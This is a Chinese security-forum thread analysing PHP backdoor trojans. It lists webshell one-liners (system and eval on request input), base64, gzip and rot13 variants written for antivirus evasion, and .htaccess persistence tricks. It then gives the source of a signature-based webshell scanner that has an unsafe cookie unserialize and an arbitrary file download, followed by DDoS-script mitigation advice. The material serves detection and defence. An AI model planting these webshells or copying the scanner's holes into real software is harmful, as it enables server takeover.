浅析PHP后门木马

作者:alibaba 首发:t00ls.net , 转载请注明t00ls
php后门木马对大家来说一点都不陌生吧,但是它的种类您又知多少呢?
本文为您浅析说明一些php后门木马常用的函数。

php后门木马常用的函数大致上可分为四种类型:

  1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open

  2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

  3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

  4. .htaccess: SetHandler, auto_prepend_file, auto_append_file

  5. 执行系统命令:

system 函数

//test.php?cmd=ls
system($_GET[cmd]);

passthru 函数

//test.php?cmd=ls
passthru($_GET[cmd]);

shell_exec 函数

//test.php?cmd=ls
echo shell_exec($_GET[cmd]);

exec 函数

//test.php?cmd=ls
$arr = array();
exec($_GET[cmd],$arr);
print_r($arr);

popen 函数

//test.php?cmd=ls
$handle = popen('$_GET[cmd], 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);

proc_open 函数

//test.php?cmd=ls

$descriptorspec = array(
       0 => array('pipe', 'r'),
       1 => array('pipe', 'w'),
       2 => array('pipe', 'w'),
    );
$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
fclose($pipes[0]);
$output = array();
while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
print_r($output);
  1. 代码执行与加密:

eval 函数

//最常见的一句话木马
eval($_POST[cmd]);

base64_decode 函数

//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

gzinflate 函数

//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));

gzuncompress 函数

//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));

gzdecode 函数

//为了免杀及隐藏而加密代码
//密文: eval($_POST['cmd']);
eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));

str_rot13 函数

//为了免杀及隐藏而加密代码
//密文: eval($_POST[cmd]);
eval(str_rot13('riny($_CBFG[pzq]);'));

assert 函数

//类似eval函数,貌似90sec最近有人发
assert($_POST[cmd]);

call_user_func 函数

//使用call_user_func调用assert
call_user_func('assert',$_POST[cmd]);

call_user_func 函数

//使用call_user_func调用任意函数
//test.php?a=assert&cmd=phpinfo()
call_user_func(_GET[a],_REQUEST[cmd]);

组合代码

//组合方式调用任意函数
//test.php?a=assert&cmd=phpinfo()
_GET[a](_REQUEST[cmd]);

  1. 文件包含与生成:

require 函数

//包含任意文件
//test.php?file=123.jpg
require($_GET[file]);

require_once 函数

//包含任意文件
//test.php?file=123.jpg
require_once($_GET[file]);

include 函数

//包含任意文件
//test.php?file=123.jpg
include($_GET[file]);

include_once 函数

//包含任意文件
//test.php?file=123.jpg
include_once($_GET[file]);

file_get_contents 函数

//读取任意文件
//test.php?f=config.inc.php
echo file_get_contents($_GET['f']);

file_put_contents 函数

//生成任意内容文件
//a=test.php&b=<?php eval($_POST[cmd]);?>
file_put_contents($_GET[a],$_GET[b]);

fputs 函数

//生成任意内容文件
//a=test.php&b=<?php eval($_POST[cmd]);?>
fputs(fopen($_GET[a],"w"),$_GET[b]);
  1. .htaccess:

SetHandler

//可将php代码存于非php后缀文件,例: x.jpg
//将以下代码写入.htaccess中
//连接x.jpg即可启动后门木马
<FilesMatch "x.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

auto_prepend_file

//可将php代码存于非php后缀文件,例: 123.gif
//将以下代码写入.htaccess中, 文件路径必须是绝对路径
//访问网站上任何php文件都会启动该php后门木马
//可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马
php_value auto_prepend_file c:/apache2/htdocs/123.gif

auto_append_file

//类似auto_prepend_file
//可将php代码存于非php后缀文件,例: 123.gif
//将以下代码写入.htaccess中, 文件路径必须是绝对路径
//访问网站上任何php文件都会启动该php后门木马
php_value auto_append_file c:/apache2/htdocs/123.gif

还有一个PHP的php web版线上扫描工具

http://115.com/file/e6twcck7#

这个是下载地址一个在php环境下扫描php木马的工具,目前可扫出以下特征码
预览源代码打印关于
01
后门特征->cha88.cn
02
后门特征->c99shell
03
后门特征->phpspy
04
后门特征->Scanners
05
后门特征->cmd.php
06
后门特征->str_rot13
07
后门特征->webshell
08
后门特征->EgY_SpIdEr
09
后门特征->tools88.com
10
后门特征->SECFORCE
11
后门特征->eval("?>
12
可疑代码特征->system(
13
可疑代码特征->passthru(
14
可疑代码特征->shell_exec(
15
可疑代码特征->exec(
16
可疑代码特征->popen(
17
可疑代码特征->proc_open
18
可疑代码特征->eval($
19
可疑代码特征->assert($
20
危险MYSQL代码->returns string soname
21
危险MYSQL代码->into outfile
22
危险MYSQL代码->load_file
23
加密后门特征->eval(gzinflate(
24
加密后门特征->eval(base64_decode(
25
加密后门特征->eval(gzuncompress(
26
加密后门特征->gzuncompress(base64_decode(
27
加密后门特征->base64_decode(gzuncompress(
28
一句话后门特征->eval($_
29
一句话后门特征->assert($_
30
一句话后门特征->require($_
31
一句话后门特征->require_once($_
32
一句话后门特征->include($_
33
一句话后门特征->include_once($_
34
一句话后门特征->call_user_func("assert"
35
一句话后门特征->call_user_func($_
36
一句话后门特征->_POST/GET/REQUEST/COOKIE[?](_POST/GET/REQUEST/COOKIE[?]
37
一句话后门特征->echo(file_get_contents($_POST/GET/REQUEST/COOKIE
38
上传后门特征->file_put_contents(_POST/GET/REQUEST/COOKIE,_POST/GET/REQUEST/COOKIE
39
上传后门特征->fputs(fopen("?","w"),$_POST/GET/REQUEST/COOKIE[
40
.htaccess插马特征->SetHandler application/x-httpd-php
41
.htaccess插马特征->php_value auto_prepend_file
42
.htaccess插马特征->php_value auto_append_file
懒惰设计,直接套用phpspy样式

坑爹的 一群黒阔 有木有办法解决phpddos的··

自己写一句话的话?!

**回复 5# Roger **

恭喜你,答对了{:4_62:}

本帖最后由 凤凰 于 2011-11-21 17:04 编辑

**回复 2# team **
可以自己加特征码啊{:4_60:}

[code="php"]

<?php

/**************PHP Web木马扫描器************************/

/* [+] 作者: alibaba */

/* [+] 首发: t00ls , 转载请注明t00ls */

/* [+] 版本: v1.0 */

/* [+] 功能: web版php木马扫描工具*/

/* [+] 注意: 扫描出来的文件并不一定就是后门, */

/* 请自行判断、审核、对比原文件。*/

/* 如果你不确定扫出来的文件是否为后门,*/

/* 欢迎你把该文件发给我进行分析。*/

/*******************************************************/

ob_start();

set_time_limit(0);

$username = "t00ls"; //设置用户名

$password = "t00ls"; //设置密码

$md5 = md5(md5($username).md5($password));

$version = "PHP Web木马扫描器v1.0";


PHP Web 木马扫描器

$realpath = realpath('./');

$selfpath = $_SERVER['PHP_SELF'];

$selfpath = substr($selfpath, 0, strrpos($selfpath,'/'));

define('REALPATH', str_replace('//','/',str_replace('\\','/',substr($realpath, 0, strlen($realpath) - strlen($selfpath)))));

define('MYFILE', basename(FILE));

define('MYPATH', str_replace('\', '/', dirname(FILE)).'/');

define('MYFULLPATH', str_replace('\', '/', (FILE)));

define('HOST', "http://".$_SERVER['HTTP_HOST']);

?>

<html>

<head>

<title><?php echo $version?></title>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />

<style>

body{margin:0px;}

body,td{font: 12px Arial,Tahoma;line-height: 16px;}

a {color: #00f;text-decoration:underline;}

a:hover{color: #f00;text-decoration:none;}

.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}

.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}

.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}

.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}

.head td span{font-weight:normal;}

</style>

</head>

<body>

<?php

if(!(isset($_COOKIE['t00ls']) && $_COOKIE['t00ls'] == $md5) && !(isset($_POST['username']) && isset($_POST['password']) && (md5(md5($_POST['username']).md5($_POST['password']))==$md5)))

{

echo '<form id="frmlogin" name="frmlogin" method="post" action="">用户名: <input type="text" name="username" id="username" /> 密码: <input type="password" name="password" id="password" /> <input type="submit" name="btnLogin" id="btnLogin" value="登陆" /></form>';

}

elseif(isset($_POST['username']) && isset($_POST['password']) && (md5(md5($_POST['username']).md5($_POST['password']))==$md5))

{

setcookie("t00ls", $md5, time()+60*60*24*365,"/");

echo "登陆成功!";

header( 'refresh: 1; url='.MYFILE.'?action=scan' );

exit();

}

else

{

setcookie("t00ls", $md5, time()+60*60*24*365,"/");

$setting = getSetting();

$action = isset($_GET['action'])?$_GET['action']:"";


if($action=="logout")

{

setcookie ("t00ls", "", time() - 3600);

Header("Location: ".MYFILE);

exit();

}

if($action=="download" && isset($_GET['file']) && trim($_GET['file'])!="")

{

$file = $_GET['file'];

ob_clean();

if (@file_exists($file)) {

header("Content-type: application/octet-stream");

header("Content-Disposition: filename=\"".basename($file)."\"");

echo file_get_contents($file);

}

exit();

}

?>

<table border="0" cellpadding="0" cellspacing="0" width="100%">

<tbody><tr class="head">

<td><?php echo $_SERVER['SERVER_ADDR']?><span style="float: right; font-weight:bold;"><?php echo "<a href='http://www.t00ls.net/'>$version</a>"?></span></td>

</tr>

<tr class="alt1">

<td><span style="float: right;"><?=date("Y-m-d H:i:s",mktime())?></span>

<a href="?action=scan">扫描</a> |

<a href="?action=setting">设定</a> |

<a href="?action=logout">登出</a>

</td>

</tr>

</tbody></table>

<br>

<?php

if($action=="setting")

{

if(isset($_POST['btnsetting']))

{

$Ssetting = array();

$Ssetting['user']=isset($_POST['checkuser'])?$_POST['checkuser']:"php | php? | phtml";

$Ssetting['all']=isset($_POST['checkall'])&&$_POST['checkall']=="on"?1:0;

$Ssetting['hta']=isset($_POST['checkhta'])&&$_POST['checkhta']=="on"?1:0;

setcookie("t00ls_s", base64_encode(serialize($Ssetting)), time()+60*60*24*365,"/");

echo "设置完成!";

header( 'refresh: 1; url='.MYFILE.'?action=setting' );

exit();

}

?>

<form name="frmSetting" method="post" action="?action=setting">

<FIELDSET style="width:400px">

<LEGEND>扫描设定</LEGEND>

<table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td width="60">文件后缀:</td>

<td width="300"><input type="text" name="checkuser" id="checkuser" style="width:300px;" value="<?php echo $setting['user']?>"></td>

</tr>

<tr>

<td><label for="checkall">所有文件</label></td>

<td><input type="checkbox" name="checkall" id="checkall" <?php if($setting['all']==1) echo "checked"?>></td>

</tr>

<tr>

<td><label for="checkhta">设置文件</label></td>

<td><input type="checkbox" name="checkhta" id="checkhta" <?php if($setting['hta']==1) echo "checked"?>></td>

</tr>

<tr>

<td> </td>

<td>

<input type="submit" name="btnsetting" id="btnsetting" value="提交">

</td>

</tr>

</table>

</fieldset>

</form>

<?php

}

else

{

$dir = isset($_POST['path'])?$_POST['path']:MYPATH;

$dir = substr($dir,-1)!="/"?$dir."/":$dir;

?>

<form name="frmScan" method="post" action="">

<table width="100%%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td width="35" style="vertical-align:middle; padding-left:5px;">扫描路径:</td>

<td width="690">

<input type="text" name="path" id="path" style="width:600px" value="<?php echo $dir?>">

  <input type="submit" name="btnScan" id="btnScan" value="开始扫描"></td>

</tr>

</table>

</form>

<?php

if(isset($_POST['btnScan']))

{

$start=mktime();

$is_user = array();

$is_ext = "";

$list = "";


if(trim($setting['user'])!="")

{

$is_user = explode("|",$setting['user']);

if(count($is_user)>0)

{

foreach($is_user as $key=>$value)

$is_user[$key]=trim(str_replace("?","(.)",$value));

$is_ext = "(\.".implode("($|\.))|(\.",$is_user)."($|\.))";

}

}

if($setting['hta']==1)

{

$is_hta=1;

$is_ext = strlen($is_ext)>0?$is_ext."|":$is_ext;

$is_ext.="(^\.htaccess$)";

}

if($setting['all']==1 || (strlen($is_ext)==0 && $setting['hta']==0))

{

$is_ext="(.+)";

}


$php_code = getCode();

if(!is_readable($dir))

$dir = MYPATH;

$count=$scanned=0;

scan($dir,$is_ext);

$end=mktime();

$spent = ($end - $start);

?>

<div style="padding:10px; background-color:#ccc">扫描: <?php echo $scanned?> 文件| 发现: <?php echo $count?> 可疑文件| 耗时: <?php echo $spent?> 秒</div>

<table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr class="head">

<td width="15" align="center">No.</td>

<td width="48%">文件</td>

<td width="12%">更新时间</td>

<td width="10%">原因</td>

<td width="20%">特征</td>

<td>动作</td>

</tr>

<?php echo $list?>

</table>

<?php

}

}

}

ob_flush();

?>

</body>

</html>

<?php

function scan($path = '.',$is_ext){

global $php_code,$count,$scanned,$list;

$ignore = array('.', '..' );

$replace=array(" ","\n","\r","\t");

$dh = @opendir( $path );



while(false!==($file=readdir($dh))){

if( !in_array( $file, $ignore ) ){

if( is_dir( "$path$file" ) ){

scan("$path$file/",$is_ext);

} else {

$current = $path.$file;

if(MYFULLPATH==$current) continue;

if(!preg_match("/$is_ext/i",$file)) continue;

if(is_readable($current))

{

$scanned++;

$content=file_get_contents($current);

$content= str_replace($replace,"",$content);

foreach($php_code as $key => $value)

{

if(preg_match("/$value/i",$content))

{

$count++;

$j = $count % 2 + 1;

$filetime = date('Y-m-d H:i:s',filemtime($current));

$reason = explode("->",$key);

$url = str_replace(REALPATH,HOST,$current);

preg_match("/$value/i",$content,$arr);

$list.="

<tr class='alt$j' onmouseover='this.className=\"focus\";' onmouseout='this.className=\"alt$j\";'>

<td>$count</td>

<td><a href='$url' target='_blank'>$current</a></td>

<td>$filetime</td>

<td><font color=red>$reason[0]</font></td>

<td><font color=#090>$reason[1]</font></td>

<td><a href='?action=download&file=$current' target='_blank'>下载</a></td>

</tr>";

//echo $key . "-" . $path . $file ."(" . $arr[0] . ")" ."<br />";

//echo $path . $file ."<br />";

break;

}

}

}

}

}

}

closedir( $dh );

}

function getSetting()

{

$Ssetting = array();

if(isset($_COOKIE['t00ls_s']))

{

$Ssetting = unserialize(base64_decode($_COOKIE['t00ls_s']));

$Ssetting['user']=isset($Ssetting['user'])?$Ssetting['user']:"php | php? | phtml | shtml";

$Ssetting['all']=isset($Ssetting['all'])?intval($Ssetting['all']):0;

$Ssetting['hta']=isset($Ssetting['hta'])?intval($Ssetting['hta']):1;

}

else

{

$Ssetting['user']="php | php? | phtml | shtml";

$Ssetting['all']=0;

$Ssetting['hta']=1;

setcookie("t00ls_s", base64_encode(serialize($Ssetting)), time()+60*60*24*365,"/");

}

return $Ssetting;

}

function getCode()

{

return array(

'后门特征->cha88.cn'=>'cha88\.cn',

'后门特征->c99shell'=>'c99shell',

'后门特征->phpspy'=>'phpspy',

'后门特征->Scanners'=>'Scanners',

'后门特征->cmd.php'=>'cmd\.php',

'后门特征->str_rot13'=>'str_rot13',

'后门特征->webshell'=>'webshell',

'后门特征->EgY_SpIdEr'=>'EgY_SpIdEr',

'后门特征->tools88.com'=>'tools88\.com',

'后门特征->SECFORCE'=>'SECFORCE',

'后门特征->eval("?>'=>'eval\((\'|")\?>',

'可疑代码特征->system('=>'system\(',

'可疑代码特征->passthru('=>'passthru\(',

'可疑代码特征->shell_exec('=>'shell_exec\(',

'可疑代码特征->exec('=>'exec\(',

'可疑代码特征->popen('=>'popen\(',

'可疑代码特征->proc_open'=>'proc_open',

'可疑代码特征->eval($'=>'eval\((\'|"|\s*)\\$',

'可疑代码特征->assert($'=>'assert\((\'|"|\s*)\\$',

'危险MYSQL代码->returns string soname'=>'returnsstringsoname',

'危险MYSQL代码->into outfile'=>'intooutfile',

'危险MYSQL代码->load_file'=>'select(\s+)(.*)load_file',

'加密后门特征->eval(gzinflate('=>'eval\(gzinflate\(',

'加密后门特征->eval(base64_decode('=>'eval\(base64_decode\(',

'加密后门特征->eval(gzuncompress('=>'eval\(gzuncompress\(',

'加密后门特征->eval(gzdecode('=>'eval\(gzdecode\(',

'加密后门特征->eval(str_rot13('=>'eval\(str_rot13\(',

'加密后门特征->gzuncompress(base64_decode('=>'gzuncompress\(base64_decode\(',

'加密后门特征->base64_decode(gzuncompress('=>'base64_decode\(gzuncompress\(',

'一句话后门特征->eval($_'=>'eval\((\'|"|\s*)\\$_(POST|GET|REQUEST|COOKIE)',

'一句话后门特征->assert($_'=>'assert\((\'|"|\s*)\\$_(POST|GET|REQUEST|COOKIE)',

'一句话后门特征->require($_'=>'require\((\'|"|\s*)\\$_(POST|GET|REQUEST|COOKIE)',

'一句话后门特征->require_once($_'=>'require_once\((\'|"|\s*)\\$_(POST|GET|REQUEST|COOKIE)',

'一句话后门特征->include($_'=>'include\((\'|"|\s*)\\$_(POST|GET|REQUEST|COOKIE)',

'一句话后门特征->include_once($_'=>'include_once\((\'|"|\s*)\\$_(POST|GET|REQUEST|COOKIE)',

'一句话后门特征->call_user_func("assert"'=>'call_user_func\(("|\')assert("|\')',

'一句话后门特征->call_user_func($_'=>'call_user_func\((\'|"|\s*)\\$_(POST|GET|REQUEST|COOKIE)',

'一句话后门特征->$_POST/GET/REQUEST/COOKIE[?]($_POST/GET/REQUEST/COOKIE[?]'=>'\$_(POST|GET|REQUEST|COOKIE)\[([^\]]+)\]\((\'|"|\s*)\\$_(POST|GET|REQUEST|COOKIE)\[',

'一句话后门特征->echo(file_get_contents($_POST/GET/REQUEST/COOKIE'=>'echo\(file_get_contents\((\'|"|\s*)\\$_(POST|GET|REQUEST|COOKIE)',

'上传后门特征->file_put_contents($_POST/GET/REQUEST/COOKIE,$_POST/GET/REQUEST/COOKIE'=>'file_put_contents\((\'|"|\s*)\\$_(POST|GET|REQUEST|COOKIE)\[([^\]]+)\],(\'|"|\s*)\\$_(POST|GET|REQUEST|COOKIE)',

'上传后门特征->fputs(fopen("?","w"),$_POST/GET/REQUEST/COOKIE['=>'fputs\(fopen\((.+),(\'|")w(\'|")\),(\'|"|\s*)\\$_(POST|GET|REQUEST|COOKIE)\[',

'.htaccess插马特征->SetHandler application/x-httpd-php'=>'SetHandlerapplication\/x-httpd-php',

'.htaccess插马特征->php_value auto_prepend_file'=>'php_valueauto_prepend_file',

'.htaccess插马特征->php_value auto_append_file'=>'php_valueauto_append_file'

);

}

?>

**回复 4# 孤独雪狼 **

恰好今天看到一篇,仅供参考

作者:tenzy [ESST]

信息来源: 噩靈戰隊[Evil-Soul Security Team] http://bbs.x-xox-x.com/

完整的PHPDDOS的参考源码,是我在网上随便搜索得来。

我们来看看原理。

其实很简单,

就是设置一个文本不超时,然后不断的建立TCP链接,当然也存在UDP/SYN的方式,但是链接方式不重要,

看上面关键代码就是

set_time_limit(0);和$fp = fsockopen("tcp://$ipb",$portb,$errno,$errstr,0);

为什么说这是关键代码,因为这个是让脚本不超时,一个是打开socket,这是无疑是最关键的了。

这么说来似乎找到了解决办法。

1。让脚本超时,

2。不允许打开socket

那就来看看如何解决,

让脚本不允许设置为不超时很简单,1,把set_time_limit函数禁用,2,启用PHP的安全模式(safe_mode=on)

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,

建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是

这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS。。。